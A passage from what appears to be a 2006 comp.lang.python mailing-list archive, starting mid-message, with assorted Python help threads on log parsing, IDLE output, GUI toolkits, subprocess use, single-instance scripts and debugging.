2.74E-02 5.64E-04 6.26E-04 0.00E+00 -3.01E-01 3.75E-02-8.07E-02-7.09E-02 3.91E-02 1.78E-01 2.00E+01 > &&&&&& -------------------------------------------------------------- ---- > > .... > 'some text' > .... > > I actually want to extract the lines with the numbers, write > them to a file and finally use gnuplot for plotting them. A > nicer and more python way would be to extract those numbers, > write them into an array according to their column and plot > those using the gnuplot or matplotlib module :-) > > Unfortunately, I am pretty new to the re module and tried > the following so far: > > > import re > pat = re.compile('\ \ \ NO.*?&&&&&&', re.DOTALL) > print re.sub(pat, '', open('log_star_orig').read()) > > > but this works just the other way around, which means that > the original log file is printed without the number part. So > the next step would be to delete the part from the first > line to '\ \ \ \ NO' and the part from '&&&&&&' to the end, > but I do not know how to address the first and last line!? > > Would be nice, if you can give me a hint and especially > interesting would it be, when you have an idea, how I can > put those columns in arrays, so I can plot them right away! > > > A more difficult log file looks like: > > ====================================================================== > OUTER LOOP ITERATION = 1 CPU SECONDS = 2.40E+01 > ---------------------------------------------------------------------- > | Equation | Rate | RMS Res | Max Res | Linear Solution | > +----------------------+------+---------+---------+------------------+ > | U-Mom | 0.00 | 1.0E-02 | 5.0E-01 | 4.9E-03 OK| > | V-Mom | 0.00 | 2.4E-14 | 5.6E-13 | 3.8E+09 ok| > | W-Mom | 0.00 | 2.5E-14 | 8.2E-13 | 8.3E+09 ok| > | P-Mass | 0.00 | 1.1E-02 | 3.4E-01 | 8.9 2.7E-02 OK| > +----------------------+------+---------+---------+------------------+ > | K-TurbKE | 0.00 | 1.8E+00 | 1.8E+00 | 5.8 2.2E-08 OK| > | E-Diss.K | 0.00 | 1.9E+00 | 2.0E+00 | 12.4 2.2E-08 OK| > +----------------------+------+---------+---------+------------------+ > > ====================================================================== > OUTER LOOP ITERATION = 2 CPU SECONDS = 8.57E+01 > ---------------------------------------------------------------------- > | Equation | Rate | RMS Res | Max Res | Linear Solution | > +----------------------+------+---------+---------+------------------+ > | U-Mom | 1.44 | 1.5E-02 | 5.3E-01 | 9.6E-03 OK| > | V-Mom |99.99 | 1.1E-03 | 6.2E-02 | 5.7E-02 OK| > | W-Mom |99.99 | 1.9E-03 | 6.0E-02 | 5.9E-02 OK| > | P-Mass | 0.27 | 3.0E-03 | 2.0E-01 | 8.9 7.9E-02 OK| > +----------------------+------+---------+---------+------------------+ > | K-TurbKE | 0.03 | 5.4E-02 | 4.4E-01 | 5.8 2.9E-08 OK| > | E-Diss.K | 0.05 | 8.9E-02 | 9.3E-01 | 12.4 2.6E-08 OK| > +----------------------+------+---------+---------+------------------+ > > > > ... > ... > ... > > > ====================================================================== > OUTER LOOP ITERATION = 416 CPU SECONDS = 2.28E+04 > ---------------------------------------------------------------------- > | Equation | Rate | RMS Res | Max Res | Linear Solution | > +----------------------+------+---------+---------+------------------+ > | U-Mom | 0.96 | 1.8E-04 | 5.8E-03 | 1.8E-02 OK| > | V-Mom | 0.98 | 3.6E-05 | 1.5E-03 | 4.4E-02 OK| > | W-Mom | 0.99 | 4.5E-05 | 2.1E-03 | 4.3E-02 OK| > | P-Mass | 0.96 | 8.3E-06 | 3.0E-04 | 12.9 4.0E-02 OK| > +----------------------+------+---------+---------+------------------+ > | K-TurbKE | 0.98 | 1.5E-03 | 3.0E-02 | 5.7 2.5E-06 OK| > | E-Diss.K | 0.97 | 4.2E-04 | 1.1E-02 | 12.3 3.9E-08 OK| > +----------------------+------+---------+---------+------------------+ > > > With my sed/awk/grep/gnuplot script I would extract the > values in the 'U-Mom' row using grep and print a certain > column (e.g. 'Max Res') to a file and print it with gnuplot. > Maybe I have to remove those '|' using sed before... > Do you have an idea, how I can do this completely using > python? > > Thanks for your help! > > > Greetings! > Fabian From bignose+hates-spam at benfinney.id.au Thu Oct 12 01:43:25 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Thu, 12 Oct 2006 15:43:25 +1000 Subject: Experiences with Py2Exe References: <1160574156.861514.327390@i42g2000cwa.googlegroups.com> <452cf765$1@news.vo.lu> <1160593412.770417.21010@i42g2000cwa.googlegroups.com> <452dcfba$1@news.vo.lu> Message-ID: <874pua3x8i.fsf@benfinney.id.au> Antoine De Groote writes: > Isaac Rodriguez wrote: > > Do you have a specific reason for using Inno Setup and not a > > Windows Installer based setup? > > The main reason for using Inno Setup is that it is free. Then I > quickly saw that it is powerful and easy to use. And I don't like > Microsoft too much in general, and that's also one of the reasons > why I preferred to stay away from MSI... To clarify, Inno Setup is released under a free-software license: which makes it a better bet than non-free software as infrastructure to build upon. -- \ "Nothing in life is so exhilarating as to be shot at without | `\ result." -- Winston Churchill | _o__) | Ben Finney From http Fri Oct 20 10:46:30 2006 From: http (Paul Rubin) Date: 20 Oct 2006 07:46:30 -0700 Subject: list comprehension (searching for onliners) References: <4538C09E.2040408@fmed.uba.ar> <4538C950.1060403@tim.thechases.com> Message-ID: <7xbqo7hwop.fsf@ruckus.brouhaha.com> Gerardo Herzig writes: > You are the man, you are the man!! Yes, i need those dicts in order to > assign them to a nested for the htmltmpl templating > engine. Thats why i cant use the solution provided by Max, and thanks > to Jon too!! I'm confused, can't you write a multi-line function and pass that? From anthra.norell at vtxmail.ch Wed Oct 25 06:40:01 2006 From: anthra.norell at vtxmail.ch (Frederic Rentsch) Date: Wed, 25 Oct 2006 12:40:01 +0200 Subject: Attempting to parse free-form ANSI text. In-Reply-To: References: <453CBC03.6090003@vtxmail.ch> <453D151C.8080905@vtxmail.ch> <453D16CA.6030805@vtxmail.ch> Message-ID: <453F3F01.2010005@vtxmail.ch> Dennis Lee Bieber wrote: > On Mon, 23 Oct 2006 20:34:20 +0100, Steve Holden > declaimed the following in comp.lang.python: > > > >> Don't give up, attach it as a file! >> >> > Which might be acceptable on a mailing list, but might be > problematic on a "text" newsgroup... Though one attachment a year might > not be noticed by those providers with strict "binaries in binary groups > only" > The comment isn't lost on me. Much less as it runs in an open door. Funny thing is that I verified my settings by sending the message to myself and it looked fine. Then I sent it to the news group and it was messed up again. I will work some more on my setting. Frederic From kylotan at gmail.com Mon Oct 2 04:58:04 2006 From: kylotan at gmail.com (Ben Sizer) Date: 2 Oct 2006 01:58:04 -0700 Subject: Can recursive descent parser handle Python grammar? In-Reply-To: <1159554346.373656.5790@m73g2000cwd.googlegroups.com> References: <1159484100.469926.25210@h48g2000cwc.googlegroups.com> <1159519787.034676.316060@b28g2000cwb.googlegroups.com> <1159554346.373656.5790@m73g2000cwd.googlegroups.com> Message-ID: <1159779484.680370.93190@e3g2000cwe.googlegroups.com> seberino at spawar.navy.mil wrote: > Ben Sizer wrote: > > seberino at spawar.navy.mil wrote: > > > I'm a compiler newbie and was curious if Python's language/grammar > > > can be handled by a recursive descent parser. > > > > I believe a recursive descent parser can handle any grammar; it just > > depends on how pure you want it to be. > > > > -- > > Ben Sizer > > Thanks! What do you mean by 'pure'? By 'pure' I mean entirely recursive and not iterative. Implementation becomes easier if you're not writing a purely recursive parsing program, and it makes it more practical to implement an arbitrary amount of 'read-ahead'. -- Ben Sizer From ilias at lazaridis.com Sat Oct 7 19:59:20 2006 From: ilias at lazaridis.com (Ilias Lazaridis) Date: 7 Oct 2006 16:59:20 -0700 Subject: IDLE - Customizing output format In-Reply-To: References: Message-ID: <1160265560.499186.277420@m73g2000cwd.googlegroups.com> Ilias Lazaridis wrote: > IDLE has an output format like this: > > >>> object > > >>> type > > >>> object.__class__ > > >>> object.__bases__ > > How can I customize it to become like that: > > >>> object > > >>> type > > >>> object.__class__ > > >>> object.__bases__ > > or that: > > >>> object > : > >>> type > : > >>> object.__class__ > : > >>> object.__bases__ > > (preferably without modifying code) I am close to finalizing this task, but have two tiny problems: import the module from within a site_packages *.pth file, or include the code into sitecustomize, or import it withine an IDLE session: # idlex.py #--------------------------------------------------------------------------------------- import sys class ClaimStdOut: def __init__(self, stream, prefix): self.stdout = stream #remember original stream self.prefix = prefix def write(self, output): self.stdout.write(self.prefix + output) #this one is _not_ executed on import: sys.stdout = ClaimStdOut(sys.stdout, '=== ') #workaround: def f(obj): if obj is not None: print repr(obj) # Claiming StdOut here sys.stdout = ClaimStdOut(sys.stdout, '::: ') #disable displayhook (which is just used to set stdout) sys.displayhook = sys.__displayhook__ # this one _is_ executed on import sys.displayhook = f #--------------------------------------------------------------------------------------- So, why is this line not executed during import? sys.stdout = ClaimStdOut(sys.stdout, '=== ') additionally, the output of IDLE looks like this: IDLE 1.1.3 ==== No Subprocess ==== >>> 1==1 True [the new stdout is active now] >>> 1==1 ::: True::: >>> Possibly IDLE prints the CR/LF in a second call. How can I compare this operating-system-independent? if (output == ): self.stdout.write(output) else: self.stdout.write(self.prefix + output) . -- http://case.lazaridis.com/ticket/10 From fulvio at tm.net.my Tue Oct 24 07:47:43 2006 From: fulvio at tm.net.my (Fulvio) Date: Tue, 24 Oct 2006 19:47:43 +0800 Subject: Change on file Message-ID: <200610241947.43530.fulvio@tm.net.my> *********************** Your mail has been scanned by InterScan MSS. *********************** Hello, I was thinking about use md5 check to se if a file had changes since last check. Am I correct? Is there any other light method? F From pecora at anvil.nrl.navy.mil Tue Oct 17 09:39:16 2006 From: pecora at anvil.nrl.navy.mil (Lou Pecora) Date: Tue, 17 Oct 2006 09:39:16 -0400 Subject: pylab package dependencies (was: Plotting histograms) References: <1161056950.593026.114230@i42g2000cwa.googlegroups.com> Message-ID: In article , Robert Kern wrote: > I presume what you did was something like this: > > from matplotlib import pylab > [N,x] = hist(eig, 10) > > What you actually want is this: > > from matplotlib import pylab > [N,x] = pylab.hist(eig, 10) > > Or, if you're at the interactive prompt (but remember that it is inadvisable > to > do so in modules): > > from matplotlib.pylab import * > [N,x] = hist(eig, 10) > > You will probably want to review the section of the tutorial on importing > modules if you don't understand the differences. Is pylab part of matplotlib? I always thought it was the other way around. I have a similar view of numpy as part of scipy. Maybe I'm confused on the dependencies. I find it confusing in the examples sometimes when the "bigger" package is imported (e.g. scipy) and then a "subpackage" is also imported. Like this: from scipi import * from scipi import numpy I know I've seen stuff like that, but I don't get it. The dependencies are confusing to me. I did a search of the tutorial on 'import' but didn't find the answer. -- Lou Pecora (my views are my own) REMOVE THIS to email me. From casevh at comcast.net Tue Oct 31 17:38:49 2006 From: casevh at comcast.net (casevh at comcast.net) Date: 31 Oct 2006 14:38:49 -0800 Subject: "best" rational number library for Python? In-Reply-To: <1162332835.005490.38220@b28g2000cwb.googlegroups.com> References: <1162332835.005490.38220@b28g2000cwb.googlegroups.com> Message-ID: <1162334329.429582.136710@e64g2000cwd.googlegroups.com> Oops, on the double-post. casevh at comcast.net wrote: > > A guy at work asked for functionality commonly found with rational numbers, > > so I said I'd find and install something. I figured gmpy would be suitable, > > alas I'm having trouble successfully building the underlying GMP 4.2.1 > > library on a PC running Solaris 10 (won't compile with the default --host, > > fails "make check" if I go the no-assembly route). Before I invest a bunch > > of time into this, am I barking up the wrong tree? > > > I've successfully compiled GMP 4.2.1 on Solaris 10 x86 using both the > GCC and Sun Studio compilers on AMD 32-bit platform. > > I just compiled GMP 4.2.1 on a P4 using > > $ CFLAGS="" CC=gcc ./configure > $ gmake; gmake check > You must use "gmake". "make" fails during "make check" > and all tests passed. > > casevh From fredrik at pythonware.com Sun Oct 1 06:12:36 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 01 Oct 2006 12:12:36 +0200 Subject: Escapeism In-Reply-To: <015b01c6e53c$91844100$03000080@hendrik> References: <1159607884.182985.63200@m7g2000cwm.googlegroups.com> <1159635727.840033.169540@m73g2000cwd.googlegroups.com> <015b01c6e53c$91844100$03000080@hendrik> Message-ID: Hendrik van Rooyen wrote: > dumb question - is the backslash as escape character fixed yes. > seems to me that would help help with what? > or if you could turn the behaviour off - don't know how though... eh? if you don't want to use repr(), you don't have to. From paul at boddie.org.uk Wed Oct 25 11:13:39 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 25 Oct 2006 08:13:39 -0700 Subject: python GUIs comparison (want) References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com> <1161783204.875966.164720@b28g2000cwb.googlegroups.com> Message-ID: <1161789219.663099.275260@i42g2000cwa.googlegroups.com> rdsteph at mac.com wrote: > > Well, I don't know what I was thinking, exactly, when I rated > PythonCard's ease of use...so I went back and changed it to rate it a > lot higher. The ratings in this script were done a long time ago now > and I need to re-do them, and add some new categories to rate also. > Maybe this weekend... I know you're a big advocate of PythonCard, but if it weren't easier to use than wxPython, then it would surely be hard to justify its existence. > I have been thinking about doing a new version of this script that > allows visitors to the web site to enter their own ratings for each GUI > toolkit, for each criterion, store them by CGI and calculate a running > average of the ratings, maybe eliminating the very extreme high and low > scores to weed out spam, etc. Then, a visitor could use an online > script with each GUI toolkit rated by the "community" for each > criterion. I could do the same for Python IDE's, web frameworks, etc. > > Still, these would still be toys and not to be taken too seriously, but > I might do it as a little project nonetheless. A collaborative scoring application would be interesting and either amusing or rather useful. It might have uses in other domains, too. > Concerning GUI toolkits, I find myself coming back to Tkinter these > days. A lot of Python programs are written using Tkinter. I like to > fool around with a lot of the old stuff on the web for free, > miscellaneous apps and such, and there are still more Tkinter GUI's out > there than anything else. There's nothing particularly wrong about Tkinter as such, but if I were doing serious user interface development these days, I'd have a hard time justifying using Tkinter even though I was once a big fan of the technology, Pmw and related stuff. Although people may assert that the Tk scene is still vibrant, the intersection of Tk and Python doesn't seem to have moved very far, despite Fredrik's efforts: what happened to Tkinter 3000 or was that a codename for something else? And whilst things like the Tk canvas were almost revolutionary back in the early 1990s, the momentum just doesn't seem to have been there to produce similarly revolutionary things in the Tk universe today, at least as far as I can tell. > Recently I have been having fun figuring out which new phone to buy. I > decided to get a smart phone that could run Python. If I lived in > Europe, or anywhere GSM rules, one of the Nokia series 60 would be a no > -brainer. But here in the USA, I will probably will wind up getting a > Windows based model. I wonder whether we'll see Python plus user interface integration on this device: http://www.trolltech.com/products/qtopia/greenphone/index > Guess what: Folks have Tkinter up and running on Pocket PC's and > smartphones. I like that. Tkinter is everywhere. Don't forget, the > Komodo IDE has a Tk based GUI builder. I guess a decent IDE comparison would make a good resource given the repetitive "which IDE is best?" threads that appear on comp.lang.python. > P.S. There is a 3 hour lecture by Dr. Sergio Rey of San Diego St. U. I > am putting up as a podcast. He teaches a course in Python in the > graduate department of Geographical Sciences. Python is heavily used in > that field of study (as is Tkinter). > > The lecture is in 2 parts. Sound quality is excellent. href="http://www.awaretek.com/python/index.html">Tkinter podcasts I'm a regular listener of your podcasts, and look forward to many more! Paul From python.list at tim.thechases.com Tue Oct 24 17:50:17 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Tue, 24 Oct 2006 16:50:17 -0500 Subject: strange problem In-Reply-To: References: Message-ID: <453E8A99.8080702@tim.thechases.com> > This file has 1,000,000+ lines in it, yet when I print the counter 'cin' > at EOF I get around 10,000 less lines. Any ideas? > > lineIn = > csv.reader(file("rits_feed\\rits_feed_US.csv",'rb'),delimiter='|') > for emp in lineIn: > cin=cin+1 > print cin What happens if you open it in ascii mode rather than binary mode? -tkc From dhable at gmail.com Fri Oct 27 15:35:44 2006 From: dhable at gmail.com (dhable at gmail.com) Date: 27 Oct 2006 12:35:44 -0700 Subject: Optional Parameter Requirements Message-ID: <1161977744.737937.56400@i42g2000cwa.googlegroups.com> If I'm building a function to accept optional parameters, do I need to allow for the capture of both the positional arguments as well as the keyword arguments? If it doesn't make sense to allow keyword arguments, can I just write: def myfunc(a, b, *tup): ... and be done with it? TIA From Leo.Kislov at gmail.com Fri Oct 27 02:25:49 2006 From: Leo.Kislov at gmail.com (Leo Kislov) Date: 26 Oct 2006 23:25:49 -0700 Subject: subprocess cwd keyword. References: Message-ID: <1161930349.386592.191090@h48g2000cwc.googlegroups.com> Ivan Vinogradov wrote: > Dear All, > > I would greatly appreciate a nudge in the right direction concerning > the use of cwd argument in the call function from subprocess module. > > The setup is as follows: > > driver.py <- python script > core/ <- directory > main <- fortran executable in the core directory > > > driver script generates some input files in the core directory. Main > should do its thing and dump the output files back into core. > The problem is, I can't figure out how to do this properly. > > call("core/main") works but uses .. of core for input/output. > > call("core/main",cwd="core") and call("main",cwd="core") both result in [snip exception] Usually current directory is not in the PATH on UNIX. Try call("./main",cwd="core") -- Leo From johnjsal at NOSPAMgmail.com Wed Oct 25 14:42:03 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Wed, 25 Oct 2006 18:42:03 GMT Subject: cleaner way to write this? In-Reply-To: <7xwt6o44um.fsf@ruckus.brouhaha.com> References: <7xwt6o44um.fsf@ruckus.brouhaha.com> Message-ID: <%dO%g.151$1n3.4135@news.tufts.edu> Paul Rubin wrote: > John Salerno writes: >> I just need some advice for how to structure >> the check of the empty string. > > How about > > return db_name or None > > since the empty string taken as a boolean is False. But if the user doesn't enter any text, I don't want the method to return at all (even None). I need an error dialog to pop up and tell him to enter a value (or press Cancel). From lbolognini at gmail.com Fri Oct 13 12:53:55 2006 From: lbolognini at gmail.com (lbolognini at gmail.com) Date: 13 Oct 2006 09:53:55 -0700 Subject: Where can I find good python code? In-Reply-To: References: Message-ID: <1160758435.429095.149380@m7g2000cwm.googlegroups.com> js wrote: > Hi, > > I've learned basics of Python and want to go to the next step. > So I'm looking for good python examples > I steal good techniques from. > Any recommendations? The cookbook, dead-tree version reccomended, otherwise try here: http://aspn.activestate.com/ASPN/Cookbook/Python/ Lorenzo From belred at gmail.com Wed Oct 18 17:19:07 2006 From: belred at gmail.com (Bryan) Date: Wed, 18 Oct 2006 14:19:07 -0700 Subject: callback cashing python Message-ID: hi, i have a multithreaded c server that calls process_method in a different c thread per each call. process_method calls a python function bar in module foo. function bar calls back into c. i've removed all the type error handling and simplified the code to hopefully show a minimum amount of code. when only one request is hitting the server at a time this works correctly even at fast speeds. but as soon as a second request is made concurrently, the python24.dll will crash and session.callback() in the python code never returns. i've tried wrapping the callback code in PyGILState_Ensure(), PyEval_SaveThread() without success. does anyone know what i have to do to the c callback to prevent python from crashing? thanks, bryan static void process_method(session *session) { PyObject *py_obj_session = NULL; PyObject *py_mod_foo = NULL; PyObject *py_call_bar = NULL; PyThreadState *py_interp = NULL; py_interp = get_py_interpreter(session); PyEval_AcquireLock(); PyThreadState_Swap(py_interp); py_obj_session = get_py_session(session); py_mod_foo = PyImport_ImportModule("foo"); py_call_bar = PyObject_GetAttrString(py_mod_foo, "bar"); PyObject_CallFunctionObjArgs(py_call_bar, py_obj_session, NULL); Py_XDECREF(py_call_bar); Py_XDECREF(py_mod_foo); Py_XDECREF(py_obj_session); PyThreadState_Swap(NULL); PyEval_ReleaseLock(); } # module bar def bar(session): session.callback() /* session.callback() /* static PyObject* callback(PyObject *self, PyObject *args) { Py_INCREF(Py_None); return Py_None; } From luweewu at email.com Thu Oct 12 15:06:55 2006 From: luweewu at email.com (Rob) Date: Thu, 12 Oct 2006 19:06:55 GMT Subject: IDLE won't run Message-ID: I have Python 2.4.3 installed on Windows XP on both a real computer and a virtual machine under VMware. Just recently, IDLE stopped working. I would select IDLE from the start menu or right click on a .PY file and open it in IDLE, but nothing happens. I just uninstalled Python on the virtual machine and installed 2.5 in the hope that that would fix the problem, but it didn't. It, too, would do nothing when I tried to run IDLE. In both cases, the Python command line window will come up, but that's not what I want to use. Does anyone know of a way to fix this problem? Is there a new Windows update that is now interfering with IDLE? Would Norton Antivirus be interfering with it somehow? (It's running in both environments.) From fredrik at pythonware.com Thu Oct 26 05:55:29 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 26 Oct 2006 11:55:29 +0200 Subject: Cards deck problem References: <1161854836.904027.8380@m73g2000cwd.googlegroups.com><7xbqnz4dqu.fsf@ruckus.brouhaha.com> <1161856121.066956.227720@k70g2000cwa.googlegroups.com> Message-ID: Arun Nair wrote: > Hey paul i dont know how to implement this stuff if you have any ebook > or any notes which can halp me then i would like to try it and > implement my and refer back to you for any errors comming out of it http://wiki.python.org/moin/BeginnersGuide From fredrik at pythonware.com Sun Oct 29 06:38:10 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 29 Oct 2006 12:38:10 +0100 Subject: Event driven server that wastes CPU when threaded doesn't In-Reply-To: <1162120762.477120.275320@e3g2000cwe.googlegroups.com> References: <1162120762.477120.275320@e3g2000cwe.googlegroups.com> Message-ID: Snor wrote: > Is the only solution to use a threaded server to let my clients make > their requests and receive a response in the fastest possible time? since the problem is that you need to wait for database anyway, maybe you could use one or more threads to deal with the database, and keep using events to talk to the clients? From apardon at forel.vub.ac.be Fri Oct 13 04:03:10 2006 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 13 Oct 2006 08:03:10 GMT Subject: pygtk dynamic table References: <1160639416.482416.6110@i42g2000cwa.googlegroups.com> Message-ID: On 2006-10-12, JyotiC wrote: > hi, > > i am making a gui, which looks like excel sheets. > i want to give the user the facility of adding rows/columns at the run > time. > there is some initial size, but that can be increased any time during > the executation of the code. > > what i have tried, is that i am using table. > so when ever user increase the size, i destroy the original table and > make a new one with the increased size. > > is there a better way to do this ? What about the resize method? http://www.pygtk.org//docs/pygtk/class-gtktable.html#method-gtktable--resize -- Antoon Pardon From istvan.albert at gmail.com Tue Oct 3 16:42:46 2006 From: istvan.albert at gmail.com (Istvan Albert) Date: 3 Oct 2006 13:42:46 -0700 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> Message-ID: <1159908166.587313.57370@i3g2000cwc.googlegroups.com> Giovanni Bajo wrote: > Does this smell "Bitkeeper fiasco" to anyone else than me? well, no company will spend money/effort/resources unless it benefits them some way. Once that benefit (or the perception of it) disappears the company will cut the lifeline. It's just common business sense. But this will definitely not happen over a short period of time and even in the worst case scenario there will be a few years in which the development can take place in an awesome environment. I've looked at the JIRA demo, and wow, it really seems like an amazingly cool way to do software development. So what if in three years (again worst case scenario) they need to change trackers? It is not such a big deal and the benefits over these two years might have balanced out the troubles of switching. I. From hanumizzle at gmail.com Wed Oct 11 03:02:28 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Wed, 11 Oct 2006 03:02:28 -0400 Subject: Converting MSWord Docs to PDF In-Reply-To: <4524431F@webmail.azwestern.edu> References: <4524431F@webmail.azwestern.edu> Message-ID: <463ff4860610110002q3987cabbva206eaef971065f1@mail.gmail.com> On 10/11/06, melv at awc.edu wrote: > >An alternative to Adobe Distiller (part of Acrobat) is PDFCreator > > > yeah, i am actually just barely testing it out and so far it has > given me very good results, thanks for the tip. See also: http://www.pytex.org (La)TeX is the king of document processing, and does PDF. -- Theerasak From diffuser78 at gmail.com Thu Oct 5 16:25:22 2006 From: diffuser78 at gmail.com (diffuser78 at gmail.com) Date: 5 Oct 2006 13:25:22 -0700 Subject: Graph Theory In-Reply-To: <1160079341.752297.139110@h48g2000cwc.googlegroups.com> References: <1160078200.790616.209000@i42g2000cwa.googlegroups.com> <1160079341.752297.139110@h48g2000cwc.googlegroups.com> Message-ID: <1160079922.925712.55850@i42g2000cwa.googlegroups.com> Thanks for your quick reply. Since I have not read the documentation, I was wondering if you can generate random graph and analyze some peroperties of it like clustering coefficient or graph density. I am a graph theory student and want to use python for development. Somebody told me that Python has already so much bultin. Are there any visualization tool which would depict the random graph generated by the libraries. Thanks for any kind of input. bearophileHUGS at lycos.com wrote: > diffuser78 at gmail.com: > > Is there any library in Python which has implementation of graph > > theoretic algorithms and models ? > > There are many of them, like: > https://networkx.lanl.gov/ > Mine: > http://sourceforge.net/projects/pynetwork/ > ...and some other. > > Bye, > bearophile From sjmachin at lexicon.net Wed Oct 4 18:51:22 2006 From: sjmachin at lexicon.net (John Machin) Date: 4 Oct 2006 15:51:22 -0700 Subject: PEP 358 and operations on bytes In-Reply-To: References: <1159931141.342507.108260@e3g2000cwe.googlegroups.com> <1159974809.492898.253490@i42g2000cwa.googlegroups.com> <7xejtojdys.fsf@ruckus.brouhaha.com> <1159976793.484514.277050@h48g2000cwc.googlegroups.com> Message-ID: <1160002282.075683.210110@m73g2000cwd.googlegroups.com> Fredrik Lundh wrote: > John Machin wrote: > > > But not on other integer subtypes. If regexps should not be restricted > > to text, they should work on domains whose number of symbols is greater > > than 256, shouldn't they? > > they do: > > import re, array > > data = [0, 1, 1, 2] > > array_type = "IH"[re.sre_compile.MAXCODE == 0xffff] > > a = array.array(array_type, data) > > m = re.search(r"\x01+", a) > > if m: > print m.span() > print m.group() Very minor nit: re.sre_compile doesn't exist before Python 2.5. Presumably sys.maxunicode can substitute for re.sre_compile.MAXCODE. That aside, I'd like to nominate myself as UGPOTM (utterly gobsmacked poster of the month). Not only does that work, but so does this, all the way back to 2.1 at least: import re, array data = [0, 1, 1, 2, 257, 257, 258] # array_type = "IH"[re.sre_compile.MAXCODE == 0xffff] # Python 2.5 array_type = "H" a = array.array(array_type, data) for q in (r"\x01+", ur"\u0101+"): m = re.search(q, a) if m: print m.span() print m.group() produces: (1, 3) array('H', [1, 1]) (4, 6) array('H', [257, 257]) Now, scurrying back towards Gerrit's original point: this feature is not documented, even for array.array('B', ...). Should it be left as a happy accident of duck-typing, accessible only to those who stumble over it, or should it be supported? Should it be included in Python 3? Cheers, John From hpsekhon at googlemail.com Mon Oct 2 06:18:30 2006 From: hpsekhon at googlemail.com (Hari Sekhon) Date: Mon, 02 Oct 2006 11:18:30 +0100 Subject: Making sure script only runs once instance at a time. In-Reply-To: <4520E5E1.3040409@googlemail.com> References: <1159531181.314800.224180@k70g2000cwa.googlegroups.com> <7xk63mpzwr.fsf@ruckus.brouhaha.com> <451D25A3.7010803@googlemail.com> <4520E5E1.3040409@googlemail.com> Message-ID: <4520E776.4080908@googlemail.com> AMENDMENT: The line number_procs=commands.getstatusoutput('ps -ef|grep %s|grep -v grep|wc -l' % scriptpath) was supposed to be number_procs=int(commands.getstatusoutput('ps -ef|grep %s|grep -v grep|wc -l' % scriptpath)[1]) -h Hari Sekhon Hari Sekhon wrote: > Fredrik Lundh wrote: >> Hari Sekhon wrote: >> >> >>> I'm not sure if that is a very old way of doing it, which is why I was >>> reluctant to do it. My way actually uses the process list of the os >>> (linux) and counts the number of instances. If it is more than 0 then >>> another process is running and the script exits gracefully. >>> >> >> the code that reliably identifies instances of a given program would be >> interesting to see. >> >> >>> Also, apart from the fact the using lockfiles feels a bit 1970s, I have >>> >> > found that in real usage of other programs within the company that use >> > lockfiles, it sometimes causes a bit of troubleshooting time when >> > it stops working due to a stale lockfile. >> >> to minimize that risk, store the pid in the lockfile (and preferrably >> also the host name), and make sure that the program checks that the pid >> is still active before it "stops working". >> >> >> >> > > How exactly do you check that the pid is still active in python? Is > there a library or something that will allow me to manipulate system > processes and listings etc the way everybody does in unix shells.... > > I'm a huge fan of shell so I've done my own thing which leans on shell > as follows: > > import sys,commands,os > > scriptpath = sys.argv[0] > scriptname = os.path.basename(scriptpath) > > number_procs=commands.getstatusoutput('ps -ef|grep %s|grep -v grep|wc > -l' % scriptpath) > > if number_procs > 1: > print "There appears to be another %s process running." % scriptname > print "Please do not run more than one instance of this program" > print "Quitting for safety..." > sys.exit(200) > > This works nicely for me. > > You might also want to add a bit of discrimination to the script > (something along the lines of "get a decent os"...since this won't > work on windows) > > import platform > if platform.system() != 'Linux': > print "Sorry but this program can only be run on Linux" > sys.exit(201) > #todo: should do a bit extra for our bsd cousins here.... > > > Let me know if you think you have a better way. Please provide a code > snippet if so. > > -h -------------- next part -------------- An HTML attachment was scrubbed... URL: From bignose+hates-spam at benfinney.id.au Tue Oct 31 20:55:29 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Wed, 01 Nov 2006 12:55:29 +1100 Subject: best way to check if a file exists? References: <1162342589.986315.254450@e64g2000cwd.googlegroups.com> Message-ID: <87ejso53se.fsf@benfinney.id.au> georgeryoung at gmail.com writes: > On Oct 31, 4:01 pm, John Salerno wrote: > > What is the best way to check if a file already exists in the > > current directory? I saw os.path.isfile(), but I'm not sure if > > that does more than what I need. I see that 'os.path.exists' has already been pointed out in a later post. > You could be more "pythonic", and simply try to create the file, > catching the exception if if fails. This works on linux: > > try: > newfd = os.open('foobar', os.O_EXCL | os.O_CREAT) > new_file = os.fdopen(newdf) > except OSError, x: > if x[1] == 'File exists': > handle_file_exists() Are you sure that both of 'os.open' *and* 'os.fdopen' will only ever raise OSError if the file already exists, and not for any other OS errors? -- \ "We have to go forth and crush every world view that doesn't | `\ believe in tolerance and free speech." -- David Brin | _o__) | Ben Finney From rocky at panix.com Sat Oct 21 11:43:27 2006 From: rocky at panix.com (R. Bernstein) Date: 21 Oct 2006 11:43:27 -0400 Subject: Debugging References: Message-ID: Fulvio writes: > *********************** > Your mail has been scanned by InterScan MSS. > *********************** > > > Hello, > > I'm trying out a small utility and my method uses PDB for debugging. I tried > to read some information regarding the commands of PDB but are rather > synthetic. I'm not sure what this means. If you are doing something like an IDE, that is calling debugger routines from inside a program, then appears that most of them use bdb, which is not documented but based on the number times other programs have used it, it doesn't seem to be all that insurmountable either. (I have in mind one day to merge in all of the extensions that everyone has seemed to add in all of those IDEs, along with the extensions I've added for pydb, and make that a separate package and add documentation for all of this.) pdb does not support options, but pydb (http://bashdb.sf.net/pydb) does. In pdb, if what you wanted to do was run a debugger script, the way you could do it is to put the commands in .pdbrc. For pydb the default file read is .pydbrc, but you can turn that *off* with -nx and you can specify another file of your own using --command=*filename*. In pydb, instead of listing commands in a file, it's also possible to give them on a command line like this pydb --exec='step 2;;where;;quit' python-script python-script-opt1 (Inside both pdb or pydb, ';;' separates commands) > Mostly I'd like to understand the use of "condition" command in > terms to use breakpoints (BP) with functions. pydb (and to some extent pdb) follow the gdb command concepts. pydb has more extensive documentation (http://bashdb.sourceforge.net/pydb/pydb/lib/index.html) but if this isn't enough I think the corresponding sections from gdb might be of help. > Simple the first doubt was a counted BP. What variable using that BP and which > function can be taken from the command line? In pydb as with gdb, 